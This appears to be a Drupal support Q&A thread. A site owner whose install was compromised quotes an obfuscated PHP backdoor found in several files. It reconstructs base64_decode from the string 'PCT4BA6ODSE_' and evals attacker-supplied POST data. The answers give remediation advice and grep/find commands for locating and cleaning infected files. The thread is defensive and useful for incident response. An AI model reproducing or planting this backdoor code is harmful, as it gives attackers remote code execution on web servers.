My Drupal was hacked: Remote Code Execution – base64_decode() with ‘PCT4BA6ODSE_’

Question

today I woke up surprised that my website was hacked. I found scripts like this in several files of my Drupal instalation

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n7f2521'];if(isset($s22)){eval($s21($s22));}

I could find that the script was propagated, from

sites/default/files/styles/thumbnail/public/footer.php

That footer.php should not be there, so my question is, how a php file could be uploaded in that folder?

I checked all the upload images and files fields and I ensure any of those are allowed of upload .php files.

Can someone help me out?

how to prevent this type of hacking? what are the precautions for this type of hacking?

Answer 1

Your site has indeed been hacked. Many possibilities of a backdoor exist now.

You can start by upgrading to 7.32 or better and downloading the Hacked! module and scanning your system files for changes.

You can also use one of the following commands to find the exploited files.

• grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE - more info at AllAboutTodd.com \?>/g'
• find . -type f -newermt 2014-10-01 ! -newermt 2014-10-31 -name "*.php"

The latter command will find all files that end in .php which were last modified in October. To search instead the files for which the permissions were changed in October, replace -newermt with -newerct.

Answer 2

Start with ensuring that your modules and core are up to date. Also make sure that your submitting user credentials using a secure connection (HTTPS).

You could use a module like Password policy to secure user accounts. For now I'd change all of your admin credentials, clean up any damage, and maybe have users change their passwords.

EDIT:

Also check out the secure login module.